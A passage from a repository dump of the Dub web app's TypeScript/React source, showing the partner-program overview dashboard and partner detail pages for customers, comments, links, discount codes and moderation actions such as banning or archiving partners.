    "content": "\"use client\";\n\nimport { DUB_PARTNERS_ANALYTICS_INTERVAL } from \"@/lib/analytics/constants\";\nimport { AnalyticsResponseOptions } from \"@/lib/analytics/types\";\nimport { editQueryString } from \"@/lib/analytics/utils\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport { useAnalyticsConnectedStatus } from \"@/ui/analytics/use-analytics-connected-status\";\nimport { CommissionsBlock } from \"@/ui/partners/overview/blocks/commissions-block\";\nimport { ConversionBlock } from \"@/ui/partners/overview/blocks/conversion-block\";\nimport { CountriesBlock } from \"@/ui/partners/overview/blocks/countries-block\";\nimport { LinksBlock } from \"@/ui/partners/overview/blocks/links-block\";\nimport { PartnersBlock } from \"@/ui/partners/overview/blocks/partners-block\";\nimport { SaleTypeBlock } from \"@/ui/partners/overview/blocks/sale-type-block\";\nimport { TrafficSourcesBlock } from \"@/ui/partners/overview/blocks/traffic-sources-block\";\nimport { ProgramOverviewCard } from \"@/ui/partners/overview/program-overview-card\";\nimport SimpleDateRangePicker from \"@/ui/shared/simple-date-range-picker\";\nimport { Plug2, buttonVariants, useRouterStuff } from \"@dub/ui\";\nimport { cn, fetcher } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { ReactNode, useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport { OverviewChart } from \"./overview-chart\";\nimport { OverviewLinks } from \"./overview-links\";\nimport { OverviewTasks } from \"./overview-tasks\";\n\nconst BLOCKS = [\n  PartnersBlock,\n  TrafficSourcesBlock,\n  CommissionsBlock,\n  ConversionBlock,\n  CountriesBlock,\n  LinksBlock,\n  SaleTypeBlock,\n];\n\nexport default function ProgramOverviewPageClient() {\n  const { defaultProgramId, id: workspaceId, exceededEvents } = useWorkspace();\n\n  const { searchParamsObj } = useRouterStuff();\n\n  const { start, end, interval } = useMemo(() => {\n    const { event, ...rest } = searchParamsObj;\n    return {\n      interval: DUB_PARTNERS_ANALYTICS_INTERVAL,\n      ...rest,\n    } as Record<string, any>;\n  }, [searchParamsObj]);\n\n  const queryString = new URLSearchParams({\n    programId: defaultProgramId ?? \"\",\n    workspaceId: workspaceId ?? \"\",\n    ...(start && end && { start, end }),\n    ...(interval && { interval: interval.toString() }),\n    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n  }).toString();\n\n  const { data: totalEvents, isLoading: totalEventsLoading } = useSWR<{\n    [key in AnalyticsResponseOptions]: number;\n  }>(\n    !exceededEvents &&\n      `/api/analytics?${editQueryString(queryString, {\n        event: \"composite\",\n        saleType: \"new\",\n      })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return (\n    <div className=\"@container flex flex-col gap-6\">\n      <SimpleDateRangePicker align=\"start\" className=\"w-fit\" />\n      <AnalyticsContext.Provider\n        value={{\n          basePath: \"\",\n          baseApiPath: \"/api/analytics\",\n          selectedTab: \"sales\",\n          saleUnit: \"saleAmount\",\n          view: \"timeseries\",\n          queryString,\n          start: start ? new Date(start) : undefined,\n          end: end ? new Date(end) : undefined,\n          interval: interval as string | undefined,\n          totalEvents,\n          totalEventsLoading,\n        }}\n      >\n        <div className=\"@4xl:grid-cols-[minmax(0,1fr)_400px] grid grid-cols-1 gap-6 rounded-2xl bg-neutral-100 p-4\">\n          {/* Chart */}\n          <ProgramOverviewCard className=\"@4xl:h-full h-96 p-6\">\n            <OverviewChart />\n          </ProgramOverviewCard>\n\n          <div className=\"@4xl:grid-cols-1 @2xl:grid-cols-2 grid grid-cols-1 gap-6\">\n            {/* Tasks */}\n            <OverviewTasks />\n\n            {/* Program links */}\n            <OverviewLinks />\n          </div>\n        </div>\n        <FinishSetupWrapper totalEvents={totalEvents}>\n          <div className=\"@2xl:grid-cols-2 @4xl:grid-cols-3 grid grid-cols-1 gap-6\">\n            {BLOCKS.map((Block, idx) => (\n              <Block key={idx} />\n            ))}\n          </div>\n        </FinishSetupWrapper>\n      </AnalyticsContext.Provider>\n    </div>\n  );\n}\n\nfunction FinishSetupWrapper({\n  totalEvents,\n  children,\n}: {\n  totalEvents?: {\n    clicks: number;\n    leads: number;\n    sales: number;\n  };\n  children: ReactNode;\n}) {\n  const { slug } = useWorkspace();\n  const { isFullyConnected } = useAnalyticsConnectedStatus();\n\n  if (\n    isFullyConnected ||\n    totalEvents === undefined ||\n    [\"clicks\", \"leads\", \"sales\"].some((event) => totalEvents[event] > 0)\n  )\n    return children;\n\n  return (\n    <div className=\"relative\">\n      <div className=\"relative h-[28rem] overflow-hidden\">{children}</div>\n      <div className=\"from-bg-default to-bg-default/30 absolute inset-0 flex flex-col items-center justify-center bg-gradient-to-t from-60% text-center\">\n        <div className=\"flex size-12 items-center justify-center rounded-lg border border-blue-200 bg-blue-100\">\n          <Plug2 className=\"size-6 text-blue-500\" />\n        </div>\n\n        <h2 className=\"text-content-emphasis mt-6 text-xl font-semibold\">\n          Finish setting up your program\n        </h2>\n        <p className=\"text-content-subtle mt-2 max-w-md text-pretty text-sm\">\n          Install the Dub tracking script on your site to track conversions,\n          attribute sales, and measure partner performance.\n        </p>\n        <Link\n          href={`/${slug}/settings/tracking`}\n          className={cn(\n            buttonVariants({ variant: \"primary\" }),\n            \"mt-6 flex h-9 items-center justify-center whitespace-nowrap rounded-lg border px-3 text-sm\",\n          )}\n        >\n          Set up conversion tracking\n        </Link>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport ProgramOverviewPageClient from \"./page-client\";\n\nexport default async function ProgramOverviewPage() {\n  return (\n    <PageContent\n      title=\"Overview\"\n      titleInfo={{\n        title:\n          \"Learn how you can use Dub Partners to create, manage, and scale your affiliate program.\",\n        href: \"https://dub.co/help/article/dub-partners\",\n      }}\n    >\n      <PageWidthWrapper className=\"mb-10\">\n        <ProgramOverviewPageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/[partnerId]/comments/page.tsx",
    "content": "\"use client\";\n\nimport { PartnerComments } from \"@/ui/partners/partner-comments\";\nimport { useParams } from \"next/navigation\";\n\nexport default function ProgramPartnerCommentsPage() {\n  const { partnerId } = useParams() as { partnerId: string };\n\n  return (\n    <>\n      <h2 className=\"text-content-emphasis text-lg font-semibold\">Comments</h2>\n      <PartnerComments partnerId={partnerId} />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/[partnerId]/customers/page.tsx",
    "content": "\"use client\";\n\nimport useCustomers from \"@/lib/swr/use-customers\";\nimport usePartner from \"@/lib/swr/use-partner\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport { CustomerRowItem } from \"@/ui/customers/customer-row-item\";\nimport {\n  LoadingSpinner,\n  Table,\n  TimestampTooltip,\n  buttonVariants,\n  useTable,\n} from \"@dub/ui\";\nimport { COUNTRIES, cn, currencyFormatter, formatDate } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\n\nexport default function ProgramPartnerCustomersPage() {\n  const { partnerId } = useParams() as { partnerId: string };\n  const { partner, error } = usePartner({ partnerId });\n\n  return partner ? (\n    <PartnerCustomers partner={partner} />\n  ) : (\n    <div className=\"flex justify-center py-16\">\n      {error ? (\n        <span className=\"text-content-subtle text-sm\">\n          Failed to load partner customers\n        </span>\n      ) : (\n        <LoadingSpinner />\n      )}\n    </div>\n  );\n}\n\nfunction PartnerCustomers({ partner }: { partner: EnrolledPartnerProps }) {\n  const { slug } = useWorkspace();\n\n  const {\n    customers,\n    error: customersError,\n    loading,\n  } = useCustomers({\n    query: {\n      partnerId: partner.id,\n      pageSize: 10,\n      sortBy: \"createdAt\",\n      sortOrder: \"desc\",\n    },\n  });\n\n  const table = useTable({\n    data: customers || [],\n    loading: loading,\n    error: customersError ? \"Failed to load customers\" : undefined,\n    columns: [\n      {\n        header: \"Customer\",\n        cell: ({ row }) => <CustomerRowItem customer={row.original} />,\n      },\n      {\n        header: \"Country\",\n        cell: ({ row }) => {\n          const country = row.original.country;\n          return (\n            <div className=\"flex items-center gap-2\">\n              {country && (\n                <img\n                  alt={`${country} flag`}\n                  src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                  className=\"size-4 shrink-0\"\n                />\n              )}\n              <span className=\"min-w-0 truncate\">\n                {(country ? COUNTRIES[country] : null) ?? \"-\"}\n              </span>\n            </div>\n          );\n        },\n      },\n      {\n        header: \"Lifetime value\",\n        accessorKey: \"saleAmount\",\n        cell: ({ getValue }) => (\n          <div className=\"flex items-center gap-2\">\n            <span>\n              {currencyFormatter(getValue(), {\n                trailingZeroDisplay: \"stripIfInteger\",\n              })}\n            </span>\n            <span className=\"text-neutral-400\">USD</span>\n          </div>\n        ),\n      },\n      {\n        id: \"createdAt\",\n        header: \"Created\",\n        cell: ({ row }) => (\n          <TimestampTooltip\n            timestamp={row.original.createdAt}\n            rows={[\"local\"]}\n            side=\"left\"\n            delayDuration={150}\n          >\n            <span>\n              {formatDate(row.original.createdAt, { month: \"short\" })}\n            </span>\n          </TimestampTooltip>\n        ),\n      },\n    ],\n    onRowClick: (row) =>\n      window.open(`/${slug}/program/customers/${row.original.id}`, \"_blank\"),\n    resourceName: (p) => `customer${p ? \"s\" : \"\"}`,\n    sortBy: \"createdAt\",\n    sortOrder: \"desc\",\n    sortableColumns: [\"saleAmount\", \"createdAt\"],\n    onSortChange: ({ sortBy, sortOrder }) =>\n      window.open(\n        `/${slug}/program/customers?partnerId=${partner.id}&sortBy=${sortBy}&sortOrder=${sortOrder}`,\n        \"_blank\",\n      ),\n    thClassName: (id) =>\n      cn(id === \"total\" && \"[&>div]:justify-end\", \"border-l-0\"),\n    tdClassName: (id) => cn(id === \"total\" && \"text-right\", \"border-l-0\"),\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    emptyState: \"No customers yet\",\n  } as any);\n\n  return (\n    <>\n      <div className=\"flex items-end justify-between gap-4\">\n        <h2 className=\"text-content-emphasis text-lg font-semibold\">\n          Customers\n        </h2>\n        {Boolean(customers?.length) && (\n          <Link\n            href={`/${slug}/program/customers?partnerId=${partner.id}`}\n            target=\"_blank\"\n            className={cn(\n              buttonVariants({ variant: \"secondary\" }),\n              \"flex h-7 items-center rounded-lg border px-2 text-sm\",\n            )}\n          >\n            View all\n          </Link>\n        )}\n      </div>\n      <div className=\"mt-4\">\n        {customers || customersError ? (\n          <Table {...table} />\n        ) : (\n          <div className=\"flex justify-center py-16\">\n            <LoadingSpinner />\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/[partnerId]/layout.tsx",
    "content": "\"use client\";\n\nimport { deleteProgramInviteAction } from \"@/lib/actions/partners/delete-program-invite\";\nimport { resendProgramInviteAction } from \"@/lib/actions/partners/resend-program-invite\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport usePartner from \"@/lib/swr/use-partner\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  EnrolledPartnerExtendedProps,\n  EnrolledPartnerProps,\n} from \"@/lib/types\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { useArchivePartnerModal } from \"@/ui/modals/archive-partner-modal\";\nimport { useBanPartnerModal } from \"@/ui/modals/ban-partner-modal\";\nimport { useDeactivatePartnerModal } from \"@/ui/modals/deactivate-partner-modal\";\nimport { useReactivatePartnerModal } from \"@/ui/modals/reactivate-partner-modal\";\nimport { useUnbanPartnerModal } from \"@/ui/modals/unban-partner-modal\";\nimport { usePartnerAdvancedSettingsModal } from \"@/ui/partners/partner-advanced-settings-modal\";\nimport { PartnerInfoCards } from \"@/ui/partners/partner-info-cards\";\nimport { PartnerProfileSheet } from \"@/ui/partners/partner-profile-sheet\";\nimport { PartnerSelector } from \"@/ui/partners/partner-selector\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  MenuItem,\n  Popover,\n  useKeyboardShortcut,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport {\n  BoxArchive,\n  ChevronRight,\n  CircleXmark,\n  Copy,\n  EnvelopeArrowRight,\n  InvoiceDollar,\n  LoadingSpinner,\n  Msgs,\n  PenWriting,\n  Refresh2,\n  SquareUserSparkle2,\n  Trash,\n  UserCheck,\n  UserDelete,\n  Users,\n} from \"@dub/ui/icons\";\nimport { LockOpen } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport {\n  redirect,\n  useParams,\n  usePathname,\n  useRouter,\n  useSearchParams,\n} from \"next/navigation\";\nimport { ReactNode, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { useCreateClawbackSheet } from \"../../commissions/create-clawback-sheet\";\nimport { useCreateCommissionSheet } from \"../../commissions/create-commission-sheet\";\nimport { PartnerNav } from \"./partner-nav\";\nimport { PartnerStats } from \"./partner-stats\";\n\nexport default function ProgramPartnerLayout({\n  children,\n}: {\n  children: ReactNode;\n}) {\n  const { slug: workspaceSlug } = useWorkspace();\n  const router = useRouter();\n  const pathname = usePathname();\n  const searchParams = useSearchParams();\n\n  const params = useParams() as { slug: string; partnerId: string };\n  const { partner, error: partnerError } = usePartner({\n    partnerId: params.partnerId,\n  });\n\n  if (partnerError && partnerError.status === 404) {\n    redirect(`/${workspaceSlug}/program/partners`);\n  }\n\n  const switchToPartner = (newPartnerId: string) => {\n    if (params.partnerId === newPartnerId) return;\n    const url = `${pathname.replace(`/partners/${params.partnerId}`, `/partners/${newPartnerId}`)}?${searchParams.toString()}`;\n    router.push(url);\n  };\n\n  return (\n    <PageContent\n      title={\n        <div className=\"flex items-center gap-1.5\">\n          <Link\n            href={`/${workspaceSlug}/program/partners`}\n            aria-label=\"Back to groups\"\n            title=\"Back to groups\"\n            className=\"bg-bg-subtle hover:bg-bg-emphasis flex size-8 shrink-0 items-center justify-center rounded-lg transition-[transform,background-color] duration-150 active:scale-95\"\n          >\n            <Users className=\"size-4\" />\n          </Link>\n          <ChevronRight className=\"text-content-muted size-2.5 shrink-0 [&_*]:stroke-2\" />\n          <PartnerSelector\n            variant=\"header\"\n            selectedPartnerId={partner?.id ?? null}\n            setSelectedPartnerId={switchToPartner}\n          />\n        </div>\n      }\n      controls={<>{partner && <PageControls partner={partner} />}</>}\n    >\n      <PageWidthWrapper className=\"pb-10\">\n        <PartnerStats partner={partner} error={Boolean(partnerError)} />\n        <div className=\"@3xl/page:grid-cols-[minmax(440px,1fr)_minmax(0,360px)] mt-6 grid grid-cols-1 gap-x-6 gap-y-4\">\n          <div className=\"@3xl/page:order-2\">\n            <PartnerInfoCards\n              partner={partner}\n              hideStatuses={[\"approved\"]}\n              controls={\n                partner ? <PartnerProfileButton partner={partner} /> : undefined\n              }\n            />\n          </div>\n          <div className=\"@3xl/page:order-1\">\n            <div className=\"border-border-subtle overflow-hidden rounded-xl border bg-neutral-100\">\n              <PartnerNav />\n              <div className=\"border-border-subtle -mx-px -mb-px rounded-xl border bg-white p-4\">\n                {children}\n              </div>\n            </div>\n          </div>\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n\nfunction PartnerProfileButton({\n  partner,\n}: {\n  partner: EnrolledPartnerExtendedProps;\n}) {\n  const { searchParams, queryParams } = useRouterStuff();\n\n  const isOpen = searchParams.has(\"profile\");\n\n  const setIsOpen = (isOpen: boolean) =>\n    isOpen\n      ? queryParams({ set: { profile: \"true\" } })\n      : queryParams({ del: \"profile\" });\n\n  return (\n    <>\n      <PartnerProfileSheet\n        partner={partner}\n        isOpen={isOpen}\n        setIsOpen={setIsOpen}\n      />\n      <Button\n        variant=\"secondary\"\n        icon={<SquareUserSparkle2 className=\"size-4\" />}\n        text=\"Profile\"\n        className=\"h-7 rounded-lg px-2\"\n        onClick={() => setIsOpen(true)}\n      />\n    </>\n  );\n}\n\nfunction PageControls({ partner }: { partner: EnrolledPartnerProps }) {\n  const { slug: workspaceSlug, id: workspaceId } = useWorkspace();\n  const router = useRouter();\n\n  const { createCommissionSheet, setIsOpen: setCreateCommissionSheetOpen } =\n    useCreateCommissionSheet({\n      nested: true,\n    });\n\n  useKeyboardShortcut(\"c\", () => setCreateCommissionSheetOpen(true));\n\n  const { createClawbackSheet, setIsOpen: setClawbackSheetOpen } =\n    useCreateClawbackSheet({});\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { executeAsync: resendInvite, isPending: isResendingInvite } =\n    useAction(resendProgramInviteAction, {\n      onSuccess: async () => {\n        toast.success(\"Resent the partner invite.\");\n      },\n      onError: ({ error }) => {\n        toast.error(error.serverError);\n      },\n    });\n\n  const { executeAsync: deleteInvite, isPending: isDeletingInvite } = useAction(\n    deleteProgramInviteAction,\n    {\n      onSuccess: async () => {\n        await mutatePrefix(\"/api/partners\");\n        setIsOpen(false);\n        toast.success(\"Deleted the partner invite.\");\n        router.push(`/${workspaceSlug}/program/partners?status=invited`);\n      },\n      onError: ({ error }) => {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const { PartnerAdvancedSettingsModal, setShowPartnerAdvancedSettingsModal } =\n    usePartnerAdvancedSettingsModal({\n      partner,\n    });\n  const { BanPartnerModal, setShowBanPartnerModal } = useBanPartnerModal({\n    partner,\n  });\n  const { UnbanPartnerModal, setShowUnbanPartnerModal } = useUnbanPartnerModal({\n    partner,\n  });\n  const { DeactivatePartnerModal, setShowDeactivatePartnerModal } =\n    useDeactivatePartnerModal({\n      partner,\n    });\n  const { ReactivatePartnerModal, setShowReactivatePartnerModal } =\n    useReactivatePartnerModal({\n      partner,\n    });\n  const { ArchivePartnerModal, setShowArchivePartnerModal } =\n    useArchivePartnerModal({\n      partner,\n    });\n\n  return (\n    <>\n      {createCommissionSheet}\n      {createClawbackSheet}\n      <PartnerAdvancedSettingsModal />\n      <BanPartnerModal />\n      <UnbanPartnerModal />\n      <DeactivatePartnerModal />\n      <ReactivatePartnerModal />\n      <ArchivePartnerModal />\n\n      {partner.status === \"invited\" ? (\n        <Button\n          variant=\"primary\"\n          text=\"Resend invite\"\n          icon={\n            isResendingInvite ? (\n              <LoadingSpinner className=\"size-4 shrink-0\" />\n            ) : (\n              <EnvelopeArrowRight className=\"size-4 shrink-0\" />\n            )\n          }\n          loading={isResendingInvite}\n          onClick={async () => {\n            if (partner.status !== \"invited\" || !workspaceId) {\n              return;\n            }\n            await resendInvite({\n              workspaceId,\n              partnerId: partner.id,\n            });\n          }}\n          className=\"hidden h-8 w-fit px-3 sm:h-9 md:flex\"\n        />\n      ) : (\n        <>\n          <Button\n            variant=\"primary\"\n            text=\"Create commission\"\n            shortcut=\"C\"\n            onClick={() => setCreateCommissionSheetOpen(true)}\n            className=\"hidden h-8 w-fit px-3 sm:h-9 md:flex\"\n          />\n\n          <Link href={`/${workspaceSlug}/program/messages/${partner.id}`}>\n            <Button\n              variant=\"secondary\"\n              text=\"Message\"\n              icon={<Msgs className=\"size-4 shrink-0\" />}\n              onClick={() => setIsOpen(false)}\n              className=\"hidden h-8 w-fit px-3 sm:h-9 md:flex\"\n            />\n          </Link>\n        </>\n      )}\n\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <div className=\"w-full md:w-48\">\n            {partner.status === \"invited\" ? (\n              <div className=\"grid gap-px p-2\">\n                <MenuItem\n                  icon={isDeletingInvite ? LoadingSpinner : Trash}\n                  onClick={async () => {\n                    if (partner.status !== \"invited\" || !workspaceId) {\n                      return;\n                    }\n                    if (\n                      !window.confirm(\n                        \"Are you sure you want to delete this invite? This action cannot be undone.\",\n                      )\n                    ) {\n                      return;\n                    }\n\n                    await deleteInvite({\n                      workspaceId,\n                      partnerId: partner.id,\n                    });\n                  }}\n                  variant=\"danger\"\n                >\n                  Delete invite\n                </MenuItem>\n              </div>\n            ) : (\n              <>\n                <div className=\"grid gap-px p-2\">\n                  <MenuItem\n                    as={Link}\n                    href={`/${workspaceSlug}/program/messages/${partner.id}`}\n                    target=\"_blank\"\n                    icon={Msgs}\n                    onClick={() => setIsOpen(false)}\n                    className=\"md:hidden\"\n                  >\n                    Message\n                  </MenuItem>\n                  <MenuItem\n                    icon={InvoiceDollar}\n                    onClick={() => {\n                      setCreateCommissionSheetOpen(true);\n                      setIsOpen(false);\n                    }}\n                    className=\"md:hidden\"\n                  >\n                    Create commission\n                  </MenuItem>\n                  <MenuItem\n                    icon={Refresh2}\n                    onClick={() => {\n                      setClawbackSheetOpen(true);\n                      setIsOpen(false);\n                    }}\n                  >\n                    Create clawback\n                  </MenuItem>\n                  <MenuItem\n                    icon={PenWriting}\n                    onClick={() => {\n                      setShowPartnerAdvancedSettingsModal(true);\n                      setIsOpen(false);\n                    }}\n                  >\n                    Advanced settings\n                  </MenuItem>\n                  <MenuItem\n                    icon={Copy}\n                    onClick={() => {\n                      navigator.clipboard.writeText(partner.id);\n                      toast.success(\"Partner ID copied!\");\n                      setIsOpen(false);\n                    }}\n                  >\n                    Copy Partner ID\n                  </MenuItem>\n                </div>\n                <div className=\"border-t border-neutral-200\" />\n                <div className=\"grid gap-px p-2\">\n                  {![\"banned\", \"deactivated\"].includes(partner.status) && (\n                    <MenuItem\n                      icon={BoxArchive}\n                      onClick={() => {\n                        setShowArchivePartnerModal(true);\n                        setIsOpen(false);\n                      }}\n                    >\n                      {partner.status === \"archived\" ? \"Unarchive\" : \"Archive\"}{\" \"}\n                      partner\n                    </MenuItem>\n                  )}\n                  {partner.status === \"deactivated\" ? (\n                    <MenuItem\n                      icon={LockOpen}\n                      onClick={() => {\n                        setShowReactivatePartnerModal(true);\n                        setIsOpen(false);\n                      }}\n                    >\n                      Reactivate partner\n                    </MenuItem>\n                  ) : partner.status !== \"banned\" ? (\n                    <MenuItem\n                      icon={CircleXmark}\n                      onClick={() => {\n                        setShowDeactivatePartnerModal(true);\n                        setIsOpen(false);\n                      }}\n                    >\n                      Deactivate partner\n                    </MenuItem>\n                  ) : null}\n                  {partner.status === \"banned\" ? (\n                    <MenuItem\n                      icon={UserCheck}\n                      onClick={() => {\n                        setShowUnbanPartnerModal(true);\n                        setIsOpen(false);\n                      }}\n                    >\n                      Unban partner\n                    </MenuItem>\n                  ) : (\n                    <MenuItem\n                      icon={UserDelete}\n                      variant=\"danger\"\n                      onClick={() => {\n                        setShowBanPartnerModal(true);\n                        setIsOpen(false);\n                      }}\n                    >\n                      Ban partner\n                    </MenuItem>\n                  )}\n                </div>\n              </>\n            )}\n          </div>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          variant=\"secondary\"\n          icon={<ThreeDots className=\"size-4 text-neutral-500\" />}\n          className=\"h-8 w-auto px-1.5 sm:h-9\"\n        />\n      </Popover>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/[partnerId]/links/page.tsx",
    "content": "\"use client\";\n\nimport { constructPartnerLink } from \"@/lib/partners/construct-partner-link\";\nimport useDiscountCodes from \"@/lib/swr/use-discount-codes\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport usePartner from \"@/lib/swr/use-partner\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DiscountCodeProps, EnrolledPartnerProps } from \"@/lib/types\";\nimport { useAddDiscountCodeModal } from \"@/ui/modals/add-discount-code-modal\";\nimport { useAddPartnerLinkModal } from \"@/ui/modals/add-partner-link-modal\";\nimport { DeleteDiscountCodeModal } from \"@/ui/modals/delete-discount-code-modal\";\nimport { DiscountCodeBadge } from \"@/ui/partners/discounts/discount-code-badge\";\nimport {\n  Button,\n  CopyButton,\n  LoadingSpinner,\n  Table,\n  Tag,\n  TooltipContent,\n  useTable,\n} from \"@dub/ui\";\nimport { Trash } from \"@dub/ui/icons\";\nimport { cn, currencyFormatter, getPrettyUrl, nFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { useMemo, useState } from \"react\";\n\nexport default function ProgramPartnerLinksPage() {\n  const { partnerId } = useParams() as { partnerId: string };\n  const { partner, error } = usePartner({ partnerId });\n\n  return partner ? (\n    <div className=\"grid gap-4\">\n      <PartnerLinks partner={partner} />\n      <PartnerDiscountCodes partner={partner} />\n    </div>\n  ) : (\n    <div className=\"flex justify-center py-16\">\n      {error ? (\n        <span className=\"text-content-subtle text-sm\">\n          Failed to load partner links\n        </span>\n      ) : (\n        <LoadingSpinner />\n      )}\n    </div>\n  );\n}\n\nconst PartnerLinks = ({ partner }: { partner: EnrolledPartnerProps }) => {\n  const { slug } = useWorkspace();\n\n  const { group } = useGroup({\n    groupIdOrSlug: partner.groupId ?? undefined,\n  });\n\n  const { AddPartnerLinkModal, setShowAddPartnerLinkModal } =\n    useAddPartnerLinkModal({\n      partner,\n    });\n\n  const table = useTable({\n    data: partner.links || [],\n    columns: [\n      {\n        id: \"shortLink\",\n        header: \"Link\",\n        cell: ({ row }) => {\n          const partnerLink = constructPartnerLink({\n            group: group ?? undefined,\n            link: row.original,\n          });\n          return (\n            <div className=\"flex items-center gap-3\">\n              <Link\n                href={`/${slug}/links/${row.original.domain}/${row.original.key}`}\n                target=\"_blank\"\n                className=\"cursor-alias font-medium text-black decoration-dotted hover:underline\"\n              >\n                {getPrettyUrl(partnerLink)}\n              </Link>\n              <CopyButton value={partnerLink} className=\"p-0.5\" />\n            </div>\n          );\n        },\n      },\n      {\n        header: \"Clicks\",\n        size: 1,\n        minSize: 1,\n        cell: ({ row }) => (\n          <Link\n            href={`/${slug}/events?event=clicks&interval=all&domain=${row.original.domain}&key=${row.original.key}`}\n            target=\"_blank\"\n            className=\"block w-full cursor-alias decoration-dotted hover:underline\"\n          >\n            {nFormatter(row.original.clicks)}\n          </Link>\n        ),\n      },\n      {\n        header: \"Leads\",\n        size: 1,\n        minSize: 1,\n        cell: ({ row }) => (\n          <Link\n            href={`/${slug}/events?event=leads&interval=all&domain=${row.original.domain}&key=${row.original.key}`}\n            target=\"_blank\"\n            className=\"block w-full cursor-alias decoration-dotted hover:underline\"\n          >\n            {nFormatter(row.original.leads)}\n          </Link>\n        ),\n      },\n      {\n        header: \"Conversions\",\n        size: 1,\n        minSize: 1,\n        cell: ({ row }) => (\n          <Link\n            href={`/${slug}/events?event=sales&interval=all&domain=${row.original.domain}&key=${row.original.key}`}\n            target=\"_blank\"\n            className=\"block w-full cursor-alias decoration-dotted hover:underline\"\n          >\n            {nFormatter(row.original.conversions)}\n          </Link>\n        ),\n      },\n      {\n        header: \"Revenue\",\n        accessorFn: (d) =>\n          currencyFormatter(d.saleAmount, {\n            trailingZeroDisplay: \"stripIfInteger\",\n          }),\n        size: 1,\n        minSize: 1,\n        cell: ({ row }) => (\n          <Link\n            href={`/${slug}/events?event=sales&interval=all&domain=${row.original.domain}&key=${row.original.key}`}\n            target=\"_blank\"\n            className=\"block w-full cursor-alias decoration-dotted hover:underline\"\n          >\n            {currencyFormatter(row.original.saleAmount, {\n              trailingZeroDisplay: \"stripIfInteger\",\n            })}\n          </Link>\n        ),\n      },\n    ],\n    resourceName: (p) => `link${p ? \"s\" : \"\"}`,\n    thClassName: (id) =>\n      cn(id === \"total\" && \"[&>div]:justify-end\", \"border-l-0\"),\n    tdClassName: (id) => cn(id === \"total\" && \"text-right\", \"border-l-0\"),\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n  } as any);\n\n  return (\n    <>\n      <div className=\"flex items-end justify-between gap-4\">\n        <h2 className=\"text-content-emphasis text-lg font-semibold\">\n          Referral links\n        </h2>\n        <Button\n          variant=\"secondary\"\n          text=\"Create link\"\n          className=\"h-8 w-fit rounded-lg px-3 py-2 font-medium\"\n          onClick={() => setShowAddPartnerLinkModal(true)}\n        />\n      </div>\n      <Table {...table} />\n      <AddPartnerLinkModal />\n    </>\n  );\n};\n\nconst PartnerDiscountCodes = ({\n  partner,\n}: {\n  partner: EnrolledPartnerProps;\n}) => {\n  const { slug, stripeConnectId } = useWorkspace();\n\n  const [selectedDiscountCode, setSelectedDiscountCode] =\n    useState<DiscountCodeProps | null>(null);\n\n  const [showDeleteDiscountCodeModal, setShowDeleteDiscountCodeModal] =\n    useState(false);\n\n  const { discountCodes, loading, error } = useDiscountCodes({\n    partnerId: partner.id || null,\n  });\n\n  const { AddDiscountCodeModal, setShowAddDiscountCodeModal } =\n    useAddDiscountCodeModal({\n      partner,\n    });\n\n  const table = useTable({\n    data: discountCodes || [],\n    columns: [\n      {\n        id: \"code\",\n        header: \"Code\",\n        cell: ({ row }) => <DiscountCodeBadge code={row.original.code} />,\n      },\n      {\n        id: \"shortLink\",\n        header: \"Link\",\n        cell: ({ row }) => {\n          const link = partner.links?.find((l) => l.id === row.original.linkId);\n          return link ? (\n            <Link\n              href={`/${slug}/links/${link.domain}/${link.key}`}\n              target=\"_blank\"\n              className=\"cursor-alias font-medium text-black decoration-dotted hover:underline\"\n            >\n              {getPrettyUrl(link.shortLink)}\n            </Link>\n          ) : (\n            <span className=\"text-neutral-500\">Link not found</span>\n          );\n        },\n      },\n      {\n        id: \"menu\",\n        enableHiding: false,\n        minSize: 28,\n        size: 28,\n        maxSize: 28,\n        cell: ({ row }) => (\n          <Button\n            